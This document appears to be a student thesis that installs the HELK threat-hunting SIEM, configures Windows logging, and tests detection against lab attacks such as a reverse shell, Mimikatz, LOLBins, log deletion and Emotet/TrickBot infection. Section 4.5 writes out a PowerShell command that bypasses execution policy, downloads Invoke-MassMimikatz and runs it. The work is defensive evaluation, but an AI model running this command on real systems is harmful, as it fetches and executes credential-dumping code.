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Abstract 

In this thesis we examine the use and the capabilities of the HELK SIEM as implemented by 

Roberto Rodriguez. The appliance is based on three lately introduced analytics tools, 

Elasticsearch – Logstash – Kibana (ELK) by which it was named by, appended by the letter 

(H) to define its threat Hunting purpose. After going through the installation process and 

multiple configurations, the HELK is tested in order to define its efficiency, by simulating 

several conditions. These conditions could be HELK’s task is to detect, could be a suspicious 

activity, an ongoing cyber attack or a malware of infection of a system.   
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1. SIEM Defined 

Security Information and Event Management (SIEM) software has been in use in 

various guises for over a decade and has evolved significantly during that time. SIEM 

solutions provide a holistic view of what is happening on a network in real-time and 

help IT teams to be more proactive in the fight against security threats. 

What is unique about SIEM solutions is that they combine Security Event Management 

(SEM) - which carries out analysis of event and log data in real-time to provide event 

correlation, threat monitoring an incident response - with Security Information 

Management (SIM) which retrieves and analyzes log data and generates a report. For 

the organization that wants complete visibility and control over what is happening on 

their network in real-time, SIEM solutions are critical. 

 How Does SIEM Work? 

SIEM software works by collecting log and event data that is generated by host systems, 

security devices and applications throughout an organization's infrastructure and 

collating it on a centralized platform. From antivirus events to firewall logs, SIEM 

software identifies this data and sorts it into categories, such as malware activity, failed 

and successful logins and other potentially malicious activity. 

When the software identifies activity that could signify a threat to the organization, 

alerts are generated to indicate a potential security issue. These alerts can be set as either 

low or high priority using a set of pre-defined rules. For example, if a user account 

generates 20 failed login attempts in 20 minutes, this could be flagged as suspicious 

activity, but set at a lower priority as it is most likely to be a user that has forgotten their 

login details. However, if an account experiences 120 failed login attempts in 5 minutes 

this is more likely to be a brute-force attack in progress and flagged as a high severity 

incident. 

1.1 The Benefits of Using SIEM 

SIEM solutions provide a powerful method of threat detection, real-time reporting and 

long-term analytics of security logs and events. This tool can be incredibly useful for 

safeguarding organizations of all sizes. 

1.1.1 Streamline compliance reporting: 

Many organizations deploy the tools for these SIEM benefits alone, including 

streamlining enterprise compliance reporting efforts through a centralized logging 

solution. Each host that needs to have its logged security events included in reporting 

regularly transfers its log data to a SIEM server. A single SIEM server receives log data 

from many hosts and can generate one report that addresses all of the relevant logged 

security events among these hosts. 

An organization without a SIEM system is unlikely to have robust centralized 

logging capabilities that can create rich customized reports, such as those necessary for 

most compliance reporting efforts. In such an environment, it may be necessary to 

generate individual reports for each host or to manually retrieve data from each host 

periodically and reassemble it at a centralized point to generate a single report. 

https://www.forcepoint.com/cyber-edu/malware
https://searchvmware.techtarget.com/answer/How-do-you-enable-centralized-vCenter-logging
https://searchvmware.techtarget.com/answer/How-do-you-enable-centralized-vCenter-logging
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The latter can be incredibly difficult, in no small part because different operating 

systems, applications and other pieces of software are likely to log their security events 

in various proprietary ways, making correlation a challenge. Converting all of this 

information into a single format may require extensive code development and 

customization. 

Another reason why SIEM tools are so useful is that they often have built-in support 

for most common compliance efforts. Their reporting capabilities are compliant with 

the requirements mandated by standards such as the Health Insurance Portability and 

Accountability Act (HIPAA), the Payment Card Industry Data Security Standard (PCI 

DSS) and the Sarbanes-Oxley Act. 

By using SIEM logs, an organization can save considerable time and resources when 

meeting its security compliance reporting requirements, especially if it is subject to 

more than one such compliance initiative. 

1.1.2 Detect the undetected 

SIEM systems are able to detect otherwise undetected incidents. 

Many hosts that log security breaches do not have built-in incident detection 

capabilities. Although these hosts can observe events and generate audit log entries for 

them, they lack the ability to analyze the log entries to identify signs of malicious 

activity. At best, these hosts, such as end-user laptops and desktops, might be able to 

alert someone when a particular type of event occurs. 

SIEM tools offer increased detection capabilities by correlating events across hosts. By 

gathering events from hosts across the enterprise, a SIEM system can see attacks that 

have different parts on different hosts and then reconstruct the series of events to 

determine what the nature of the attack was and whether or not it succeeded. 

In other words, while a network intrusion prevention system might see part of an attack 

and a laptop's operating system might see another part of the attack, a SIEM system can 

correlate the log data for all of these events. A SIEM tool can determine if, for example, 

a laptop was infected with malware which then caused it to join a botnet and start 

attacking other hosts. 

It is important to understand that while SIEM tools have many benefits, they should not 

replace enterprise security controls for attack detection, such as intrusion prevention 

systems, firewalls and antivirus technologies. A SIEM tool on its own is 

useless because it has no ability to monitor raw security events as they happen 

throughout the enterprise in real time. SIEM systems use log data as recorded by other 

software. 

Many SIEM products also have the ability to stop attacks while they are still in progress. 

The SIEM tool itself doesn't directly stop an attack; rather, it communicates with other 

enterprise security controls, such as firewalls, and directs them to block the malicious 

https://searchhealthit.techtarget.com/definition/HIPAA
https://searchfinancialsecurity.techtarget.com/definition/PCI-DSS-Payment-Card-Industry-Data-Security-Standard
https://searchfinancialsecurity.techtarget.com/definition/PCI-DSS-Payment-Card-Industry-Data-Security-Standard
https://searchcio.techtarget.com/definition/Sarbanes-Oxley-Act
https://searchsecurity.techtarget.com/buyersguide/Wireless-intrusion-prevention-systems-A-buyers-guide
https://searchsecurity.techtarget.com/answer/SOAR-vs-SIEM-Whats-the-difference
https://searchsecurity.techtarget.com/answer/SOAR-vs-SIEM-Whats-the-difference
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activity. This incident response capability enables the SIEM system to prevent security 

breaches that other systems might not have noticed elsewhere in the enterprise. 

To take this a step further, an organization can choose to have its SIEM tool 

ingest threat intelligence data from trusted external sources. If the SIEM tool detects 

any activity involving known malicious hosts, it can then terminate those connections 

or otherwise disrupt the malicious hosts' interactions with the organization's hosts. This 

surpasses detection and enters the realm of prevention. 

1.1.3 Improve the efficiency of incident handling activities 

Another of the many SIEM benefits is that SIEM tools significantly increase the 

efficiency of incident handling, which in turn saves time and resources for incident 

handlers. More efficient incident handling ultimately speeds incident containment, thus 

reducing the amount of damage that many security breaches and incidents cause. 

A SIEM tool can improve efficiency primarily by providing a single interface to view 

all the security log data from many hosts. Examples of how this can expedite incident 

handling include: 

• It enables an incident handler to quickly identify an attack's route through the 

enterprise 

• It enables rapid identification of all the hosts that were affected by a particular 

attack 

• It provides automated mechanisms to stop attacks that are still in progress and 

to contain compromised hosts. 

1.2.1 The benefits of SIEM products make them a necessity 

The benefits of SIEM tools enable an organization to get a big-picture view of its 

security events throughout the enterprise. By bringing together security log data from 

enterprise security controls, host operating systems, applications and other software 

components, a SIEM tool can analyze large volumes of security log data to identify 

attacks, security threats and compromises. This correlation enables the SIEM tool to 

identify malicious activity that no other single host could because the SIEM tool is the 

only security control with true enterprise-wide visibility.  

Businesses turn to SIEM tools, meanwhile, for a few different purposes. One of the 

most common SIEM benefits is streamlined reporting for security compliance 

initiatives -- such as HIPAA, PCI DSS and Sarbanes-Oxley -- by centralizing the log 

data and providing built-in support to meet the reporting requirements of each initiative. 

Another common use for SIEM tools is detecting incidents that would otherwise be 

missed and, when possible, automatically stopping attacks that are in progress to limit 

the damage. 

https://searchsecurity.techtarget.com/securityschool/How-threat-intelligence-feeds-aid-organizations-security-posture
https://searchitoperations.techtarget.com/tip/Know-how-to-handle-IT-incident-management-to-avoid-chaos
https://searchservervirtualization.techtarget.com/answer/What-are-the-best-log-consolidation-and-storage-methods
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Finally, SIEM products can also be invaluable to improve the efficiency of incident 

handling activities, both by reducing resource utilization and allowing real-time 

incident response, which also helps to limit the damage. 

Today's SIEM tools are available for a variety of architectures, including public cloud-

based services, which makes them suitable for use in organizations of all sizes. 

Considering their support for automating compliance reporting, incident detection and 

incident handling activities, SIEM tools have become a necessity for virtually every 

organization. 

2. Helk Appliance 

The Hunting ELK or simply the HELK is one of the first open source hunt platforms 

with advanced analytics capabilities such as SQL declarative language, graphing, 

structured streaming, and even machine learning via Jupyter notebooks and Apache 

Spark over an ELK stack. This project was developed primarily for research, but due 

to its flexible design and core components, it can be deployed in larger environments 

with the right configurations and scalable infrastructure. 

 

Figure 1 : Helk Overview 

2.1 Helk Components 

2.1.1 Elasticsearch 

Elasticsearch is a distributed, open source search and analytics engine for all types of 

data, including textual, numerical, geospatial, structured, and unstructured. 

Elasticsearch is built on Apache Lucene and was first released in 2010 by Elasticsearch 

N.V. (now known as Elastic). Known for its simple REST APIs, distributed nature, 

speed, and scalability, Elasticsearch is the central component of the Elastic Stack, a set 

of open source tools for data ingestion, enrichment, storage, analysis, and visualization. 

Commonly referred to as the ELK Stack (after Elasticsearch, Logstash, and Kibana), 

the Elastic Stack now includes a rich collection of lightweight shipping agents known 

as Beats for sending data to Elasticsearch. 

Elasticsearch benefits: 

The speed and scalability of Elasticsearch and its ability to index many types of content 

mean that it can be used for a number of use cases: 

https://searchnetworking.techtarget.com/news/450423174/SaaS-SIEM-offers-enterprise-networks-refined-analytics
https://searchnetworking.techtarget.com/news/450423174/SaaS-SIEM-offers-enterprise-networks-refined-analytics
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• Application search 

• Website search 

• Enterprise search 

• Logging and log analytics 

• Infrastructure metrics and container monitoring 

• Application performance monitoring 

• Geospatial data analysis and visualization 

• Security analytics 

• Business analytics 

 

How does elasticsearch work? 

Raw data flows into Elasticsearch from a variety of sources, including logs, system 

metrics, and web applications. Data ingestion is the process by which this raw data is 

parsed, normalized, and enriched before it is indexed in Elasticsearch. Once indexed in 

Elasticsearch, users can run complex queries against their data and use aggregations to 

retrieve complex summaries of their data. From Kibana, users can create powerful 

visualizations of their data, share dashboards, and manage the Elastic Stack. 

2.1.2 Kibana 

Kibana is an open-source data visualization and exploration tool used for log and time-

series analytics, application monitoring, and operational intelligence use cases. It offers 

powerful and easy-to-use features such as histograms, line graphs, pie charts, heat 

maps, and built-in geospatial support. Also, it provides tight integration 

with Elasticsearch, a popular analytics and search engine, which makes Kibana the 

default choice for visualizing data stored in Elasticsearch. 

Kibana benefits: 

• Interactive Charts 

Kibana offers intuitive charts and reports that you can use to interactively navigate 

through large amounts of log data. You can dynamically drag time windows, zoom in 

and out of specific data subsets, and drill down on reports to extract actionable insights 

from your data. 

• Mapping Support 

Kibana comes with powerful geospatial capabilities so you can seamlessly layer in 

geographical information on top of your data and visualize results on maps. 

• Re-Built Aggregations and Filters 

Using Kibana’s pre-built aggregations and filters, you can run a variety of analytics like 

histograms, top-N queries, and trends with just a few clicks. 

• Easily Accessible Dashboards 

You can easily set up dashboards and reports and share them with others. All you need 

is a browser to view and explore the data. 

https://aws.amazon.com/elasticsearch-service/the-elk-stack/what-is-elasticsearch/
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2.1.3 Logstash 

Logstash is a lightweight, open-source, server-side data processing pipeline that allows 

you to collect data from a variety of sources, transform it on the fly, and send it to your 

desired destination. It is most often used as a data pipeline for Elasticsearch, an open-

source analytics and search engine. Because of its tight integration with Elasticsearch, 

powerful log processing capabilities, and over 200 pre-built open-source plugins that 

can help you easily index your data, Logstash is a popular choice for loading data into 

Elasticsearch. 

Logstash benefits: 

• Easily Load Unstructured Data 

Logstash allows you to easily ingest unstructured data from a variety of data sources 

including system logs, website logs, and application server logs. 

• Pre-Built Filters 

Logstash offers pre-built filters, so you can readily transform common data types, index 

them in Elasticsearch, and start querying without having to build custom data 

transformation pipelines. 

• Flexible Plugin Architecture 

With over 200 plugins already available on Github, it is likely that someone has already 

built the plugin you need to customize your data pipeline. But if none is available that 

suits your requirements, you can easily create one yourself. 

2.2 Installation Prerequisites 

Operating System & Docker:  

• Ubuntu 18.04 (preferred). However, Ubuntu 16 will work. CentOS is not fully 

supported but some have been able to get it to work, documentation is yet to come 

- so use CentOS at your own expense at the moment. However, open a GitHub issue 

but we cant promise we can help. 

• HELK uses the official Docker Community Edition (CE) bash script (Edge 

Version) to install Docker for you. The Docker CE Edge script supports the 

following distros: ubuntu, debian, raspbian, centos, and fedora. 

• You can see the specific distro versions supported in the script here. 

• If you have Docker & Docker-Compose already installed in your system, make 

sure you uninstall them to avoid old incompatible version. Let HELK use the 

official Docker CE Edge script execution to install Docker. 

Processor/OS Architecture:  

• 64-bit also known as x64, x86_64, AMD64 or Intel 64. 

• FYI: old processors don't support SSE3 instructions to start ML (Machine 

Learning) on elasticsearch. Since version 6.1 Elastic has been compiling the ML 

programs on the assumption that SSE4.2 instructions are available 
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(See: https://github.com/Cyb3rWard0g/HELK/issues/321 and https://discuss.elasti

c.co/t/failed-to-start-machine-learning-on-elasticsearch-7-0-0/178216/7) 

Cores: 

Minimum of 4 cores (whether logical or physical) 

Network Connection: NAT or Bridge: 

• IP version 4 address. IPv6 has not been tested yet. 

• Internet access 

• If using a proxy, documentation is yet to come - so use a proxy at your own 

expense. However, open a GitHub issue and we will try to help until it is officially 

documented/supported. 

• If using a VM then NAT or Bridge will work. 

• List of required domains/IPs will be listed in future documentation. 

RAM: 

There are four options, and the following are minimum requirements (include more if 

you are able). 

• Option 1: 5GB includes KAFKA + KSQL + ELK + NGNIX. 

• Option 2: 5GB includes KAFKA + KSQL + ELK + NGNIX + ELASTALERT 

• Option 3: 7GB includes KAFKA + KSQL + ELK + NGNIX + SPARK + 

JUPYTER. 

• Option 4: 8GB includes KAFKA + KSQL + ELK + NGNIX + SPARK + 

JUPYTER + ELASTALERT. 

DISK  

25GB for testing purposes and 100GB+ for production (minimum) 

2.3  Helk Installation 

The following installation process is performed at Ubuntu 18.04 following the 

aforementioned prerequisites.  

First of all, we need to run the following commands to clone the HELK repo via git. 

 

Figure 2 :Helk git directory 

Then, we change the current directory location to the new HELK directory, and run the 

helk_install.sh bash script as root. 

 

Figure 3: Helk installation script 

https://github.com/Cyb3rWard0g/HELK/issues/321
https://discuss.elastic.co/t/failed-to-start-machine-learning-on-elasticsearch-7-0-0/178216/7
https://discuss.elastic.co/t/failed-to-start-machine-learning-on-elasticsearch-7-0-0/178216/7
https://thehelk.com/installation.html#Network-Connection:-NAT-or-Bridge
https://thehelk.com/installation.html#RAM:
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During the installation process, the script will allow you to set up the following: 

 

Figure 4: Docker compose build choices 

At this paper, the Helk appliance will be installed with the option number 2 

components. 

 

Figure 5: Elastic Subscription 

Then, we are asked to set the desired IP address that will host Helk and also set and 

confirm the Kibana password that we choose. 

 

Figure 6: Setting Helk IP 

 

Figure 7: Setting Kibana password 

Once the installation kicks in, it will start showing you pre-defined messages about the 

installation, but many of the details of what is actually happening will run in the 

background.  

In order to monitor the whole installation process, we run the following command: 
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Figure 8: Tail command to monitor installation 

When the installation process is completed, the following message is expected as output 

by the tail command: 

 

Figure 9: Output of tail command 

The output of the installation script should be the following: 
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Figure 10: Output of installation script 

The above message indicates that the installation of Helk was successful. 

2.4  Helk Services 

In order to identify and comprehend the structure of Helk, we need to lists the services 

that have been installed. 

To do so, we execute the following command: 

 

Figure 11: Enumeration of services 

This will list all the running services running through dockers: 

 

Figure 12: Services list 

Now, grabbing the service name, we can run bash commands inside each docker, in 

order to further investigate the contents, as seen below: 
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Figure 13: Bash shell in docker 

With the above we command we can navigate through the content of the logstash 

docker.  

For instance, in the pipeline folder, several configurations files are located: 

 

Figure 14: Configuration files exploration 

In order to dig deeper, we use the cat command to see the functionality of each 

configuration. 

Below for example, is the configuration file of Kafka: 

 

Figure 15: Kafka Configuration example 

2.5 Exploring Rules 
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In order to trigger alerts, Helk is currently using a vastly growing number of rules, 

continuously updated. 

To make it possible to understand and modify the above triggers, we need to explore 

and customize the aforementioned rules, as demonstrated below. 

At first, we need to locate the directory of the rules we need to inspect as the following 

example: 

 

Figure 16: Exploring rules 

We have successfully listed the ruleset related with APTs. 

In order to identify the IOCs that each rule is detecting, we explore the content using 

the cat command. 

As an example, we observe the content of the rule that detects Elise Backdoor. As we 

can see, there are several useful information about the rule, as the reference URL that 

describes the IOCs and the method of detection, and more. 

 

Figure 17: Rule example – Elise Backdoor 

Now we can navigate to Windows directory, where the rules are applied specifically 

towards Windows machines. 

As an example, we can explore through a rule that detects suspicious download 

commands using powershell: 
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Figure 18: Rule example - Powershell 

3. Windows Logging 

Since Helk installation was completed, the next step is to set the windows machine to 

send the monitored log activity towards the Helk appliance.  

3.1 PSSysmonTools 

Sysmon tools specifically designed to run from powershell. The necessary files are 

cloned from github and with the following command we import the capabilities into 

powershell (after we set execution policy to bypass). Please note that powershell should 

run with administrator rights: 

 

Figure 19: Git directory of PSSysmon Tools 
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Figure 20: Installation of PSSysmonTools 

3.2. Sysmon Modular 

This is a Microsoft Sysinternals Sysmon configuration repository, set up modular for 

easier maintenance and generation of specific configuration files. 

 

Figure 21: Git directory of Sysmon Modular 

The next step is to install sysmon. 

At first, we download sysmon from the official page: 

 

Figure 22: Sysmon download 

We move the executable to the folder of sysmon modular and then we run the 

following command in order to install sysmon using the configuration of sysmon 

modular: 

 

 

Figure 23: Sysmon installation using configuration file 

We follow the installation process with default settings. 

Finally, we can see that sysmon service has already started at services panel. 
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Figure 24: Sysmon service 

3.3 Windows Policy Configuration 

Several changes have to be made to a windows machine, in order to enable logging, for 

the events that need to be monitored. 

Most important changes can be observed at the following images. 

First of all, we open mmc and add the Group Policy Object into the console in order to 

edit settings: 

 

Figure 25: MMC 

• Enabling process creation logging: 
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Figure 26: Process creating logging 

• Enabling audit policy logging: 

 

Figure 27: Audit policy logging 

• Enabling command-line logging: 



21 

 

 

Figure 28: Command-line logging 

• Enabling powershell logging 

 

Figure 29: Powershell Logging - 1 

 

Figure 30: Powershell Logging - 2 
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• Enabling schedule task logging: 

 

Figure 31: Schedule task logging 

3.4 Winlogbeat 

Winlogbeat is going to be the “agent” that gets installed on each Windows server/client 

that will forward logs from the host to the ELK instance. 

We download the installation package as seen below, and follow the installation steps: 

 

Figure 32: Winlogbeat download 

Then we download the configuration file from the initial git repository, which is already 

configured to work with HELK: 

 

  

Figure 33: Winlogbeat configuration file git directory 

The only changes that need to be made is to remove the second IP entry and modify the 

first one in order to match with our system network settings, as shown below: 
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Figure 34: Winlogbeat configuration file 

Finally, we run the following command in powershell in order to initiate the service: 

 

Figure 35: Winlogbeat installation 

 

Figure 36: Winlogbeat service 
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4. Simulation of Attacks 

In order to identify the effectiveness and the level of detection of HELK, a series of 

attacks and infection attempts have been made. 

To do so, we have established a lab, which consists of 3 workstations. 

The first host is the server responsible for the services of HELK. It is the workstation 

where the HELK instance has been installed. 

The second host is the victim. At our scenario, the victim is a Windows 10 64bit 

workstation which is configured as described previously, in order to log any desired 

activity. 

The third host is the attacker. At our scenario, the attacker is Kali Linux workstation 

that contains the all the necessary tools. 

4.1. SMB Brute Force 

In order to gain access into the victim pc, we initiate a brute force attempt from Kali 

Linux, using the Metasploit Framework. 

We have set an unsecure password and we use a wordlist in order to guess it. After 

about 1000 attempts the password has been found. 

 

Figure 37: SMB brute-force attack 

Now that we have access to the victim’s workstation, we perform a series of attacks, in 

order to simulate several malicious activities. 

4.2. Reverse TCP shell 
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Using the Metasploit Framework you can create a malicious payload (Meterpreter 

Reverse Shell) and then setup a handler to receive this connection. By doing this you 

have a shell on the target machine which you can then escalate privileges, steal data or 

any other post exploitation. 

 

Figure 38: Reverse TCP shell 

Once executed on the Target machine, the attacking machine will receive the 

connecting and, in this case, giving you a Meterpreter reverse Shell. 

 

Figure 39: Metepreter 

4.3 Recon Script Execution 

After the initial breach, the attacker possibly would like to discover further information 

regarding the workstation. 

To simulate this activity, we use a privilege escalation scripts, which identifies system 

vulnerabilities and weak points. 

The script is called winPEAS and can be found at the following github directory: 

https://github.com/carlospolop/privilege-escalation-awesome-scripts-

suite/tree/master/winPEAS 

4.4 Mimikatz 

Mimikatz is well known to extract plaintexts passwords, hash, PIN code and kerberos 

tickets from memory. 

It is one of the most common tools used by hackers and several modules of the tools 

will be executed. 

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa
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Figure 40: Mimikatz 

4.5 Powershell Execution 

PowerShell is a task automation and configuration management framework 

from Microsoft, consisting of a command-line shell and associated scripting language. 

It is commonly used by hackers due to its vast capabilities. 

Several suspicious or malicious activities will be performed via powershell, as 

automated mimikatz execution. 

• Examples: 

powershell.exe -exec Bypass -C "IEX (New-Object 

Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellE

mpire/PowerTools/master/PewPewPew/Invoke-

MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose" 

4.6 Sysinternals Toolkit 

It is also quite common, legitimate tools to be used with malicious purposes. Such tools 

can often be found in the sysinternals windows suite. Procdump and psexec is a 

common example of such cases. These tools can also be renamed, in order to obscure 

their execution for malicious purposes. In out example, we will rename the executables 

files before execution. 

4.7 LOLBin 

LOLBin is the accepted term for legitimate binaries that can be used by cybercriminals 

for hidden nefarious activity. It's a combination of 'living off the land' and 'binary'. In 

our case, we will use rundll32 and then, we will try to execute a js backdoor script, at 

the victim’s workstation.

 

Figure 41: LOLBin 

4.8 Log Deletion 

https://en.wikipedia.org/wiki/Microsoft
https://en.wikipedia.org/wiki/Command-line
https://en.wikipedia.org/wiki/Shell_(computing)
https://en.wikipedia.org/wiki/Scripting_language
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Deleting logs is a relatively straight forward process. A hacker can use certain tools in 

order to remove individual log entries relating to their presence, during the covering 

tracks procedure. In our case, we will delete the security related log entries via 

commandline. 

 

Figure 42: Log deletion 

4.9 Malware Infection 

In order to further identify the malicious activities that our SIEM can detect, we will 

infect the victim’s workstation with known malwares such as emotet and trickbot. 

These malicious files have been downloaded from the following site: 

https://app.any.run/ 

In order to identify the activity of the malicious executables, the windows defender is 

turned off in order to allow execution. 

5. Detection Results 

5.1. SMB Brute Force 

Although the login attempts of the brute force activity were logged and identified, no 

attacking signature was triggered: 

 

Figure 43: SMB brute-force detection 

5.2 Reverse TCP Shell 

The callback connection of the reverse shell has triggered the following alert: 

https://app.any.run/
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Figure 44: Reverse TCP shell detection 

5.3 Recon Script Execution 

The winPEAS script that was executed on the victim’s workstation triggered the 

following alerts: 

 

Figure 45: Recon script detection 

5.4 Mimikatz 

Although mimikatz is a very common credential dumping tool, and several rules exist 

at the HELK database in order to detect it, no alert was triggered during the execution. 

As we can see below, the windows event was logged matching the exact signature of 

mimikatz during the access of lsass.exe. 
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Figure 46: Mimikatz Logs 

5.5 Powershell Execution 

Most of the suspicious powershell commands that were executed, have triggered the 

expected alerts as we can see below:

 

Figure 47: Powershell detection - 1 

 

Figure 48: Powershell detection - 2 

5.6 Sysinternals Toolkit 
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Several suspicious commands executed using the MS Sysinternals Suite generating the 

following alerts:

 

Figure 49: Sysinternals Toolkit 

5.7 LΟLBin 

The malicious usage of the legitimate windows process rundll32.exe has also been 

detected. 

  

Figure 50: LOLbin detection 



31 

 

5.8 Log Deletion 

The manual deletion of the log files generated the following alert: 

  

Figure 51: Log deletion detection 

5.9 Malware Infection 

Finally, we opened 2 infected doc files, in order to observe the activity of malicious 

code that is automatically executed. 

At the following screens, we have identified the malicious activity and the alerts that 

this activity has triggered: 

• Emotet: 

 

Figure 52: Malware infection detection – Emotet -1 



32 

 

 

Figure 53: Malware infection detection – Emotet - 2 

 

Figure 54: Malware infection detection – Emotet - 3 

• TrickBot: 

 

Figure 55: Malware infection detection – Trickbot - 1 
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Figure 56: Malware infection detection – Trickbot -2 

Below we can see the activity logged by the victim’s workstation, after the 

aforementioned infection. 

Please note that the activity is constant. 

 

Figure 57: Malware infection detection - Persistence 

6. Conclusions  

Going through the whole process of installation – configuration – testing, several 

conclusions have been made that help us determine the level of efficiency of HELK 

Siem. 

• Speed: The whole procedure and usage of HELK is impressively fast. The 

queries are executed at very short time. Also, the filter are applied very easily 

and almost with real-time results 
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• Installation: The installation process was easy and straight-forward. Despite 

the lack of documentation, to install and update the HELK instance is a quite 

fast and easy procedure. 

• Structure: The fact that the whole appliance consists of several dockers, makes 

the configuration quite complex. The level of scalability is quite low as several 

modifications need to be done at each system before the implementation.  

• UI: The user interface is based on Kibana architecture which makes it very 

friendly, with a lot of presenting capabilities and analytics figures. 

• Detection Level: As mentioned earlier, many of the rules were triggered 

successfully. Despite that, the false negative ration is not at acceptable level 

and many of the rules are not functional. 

• Cost: All of the base components of HELK appliance are open-source and 

distributed free. It should be mentioned though that several quite useful 

plugins that are currently developed, can only be used with payed lisence. 

 

PROS CONS 

Fast Low scalability  

Low number of dependencies Complexity of dockers 

Easily Updated Outdated / Broken Rules 

Fast Installation No documentation  

User Friendly UI Unimplemented Capabilities 

Open-Source  

Potentials  
Figure 58: Helk Pros – Cons Table 

 

7. References 

• https://github.com/Cyb3rWard0g/HELK 

• https://posts.specterops.io/welcome-to-helk-enabling-advanced-

analytics-capabilities-f0805d0bb3e8 

• https://www.bountysource.com/teams/helk/issues 

• https://medium.com/threat-hunters-forge/threat-hunting-with-etw-

events-and-helk-part-1-installing-silketw-6eb74815e4a0 

• https://medium.com/threat-hunters-forge/threat-hunting-with-etw-

events-and-helk-part-2-shipping-etw-events-to-helk-16837116d2f5 

• https://posts.specterops.io/welcome-to-helk-enabling-advanced-

analytics-capabilities-f0805d0bb3e8 

• https://isc.sans.edu/forums/diary/Threat+Hunting+Adversary+Emulati

on+The+HELK+vs+APTSimulator+Part+1/23525/ 

• https://sectechno.com/helk-the-hunting-elk-framework/ 

https://github.com/Cyb3rWard0g/HELK
https://posts.specterops.io/welcome-to-helk-enabling-advanced-analytics-capabilities-f0805d0bb3e8
https://posts.specterops.io/welcome-to-helk-enabling-advanced-analytics-capabilities-f0805d0bb3e8
https://www.bountysource.com/teams/helk/issues
https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0
https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0
https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-2-shipping-etw-events-to-helk-16837116d2f5
https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-2-shipping-etw-events-to-helk-16837116d2f5
https://posts.specterops.io/welcome-to-helk-enabling-advanced-analytics-capabilities-f0805d0bb3e8
https://posts.specterops.io/welcome-to-helk-enabling-advanced-analytics-capabilities-f0805d0bb3e8
https://isc.sans.edu/forums/diary/Threat+Hunting+Adversary+Emulation+The+HELK+vs+APTSimulator+Part+1/23525/
https://isc.sans.edu/forums/diary/Threat+Hunting+Adversary+Emulation+The+HELK+vs+APTSimulator+Part+1/23525/
https://sectechno.com/helk-the-hunting-elk-framework/


35 

 

• https://posts.specterops.io/what-the-helk-sigma-integration-via-

elastalert-6edf1715b02 

• https://cyberwardog.blogspot.com/2018/04/welcome-to-helk-enabling-

advanced_9.html 

• https://www.elastic.co/blog/monitoring-windows-logons-with-

winlogbeat 

 

 

 

https://posts.specterops.io/what-the-helk-sigma-integration-via-elastalert-6edf1715b02
https://posts.specterops.io/what-the-helk-sigma-integration-via-elastalert-6edf1715b02
https://cyberwardog.blogspot.com/2018/04/welcome-to-helk-enabling-advanced_9.html
https://cyberwardog.blogspot.com/2018/04/welcome-to-helk-enabling-advanced_9.html
https://www.elastic.co/blog/monitoring-windows-logons-with-winlogbeat
https://www.elastic.co/blog/monitoring-windows-logons-with-winlogbeat

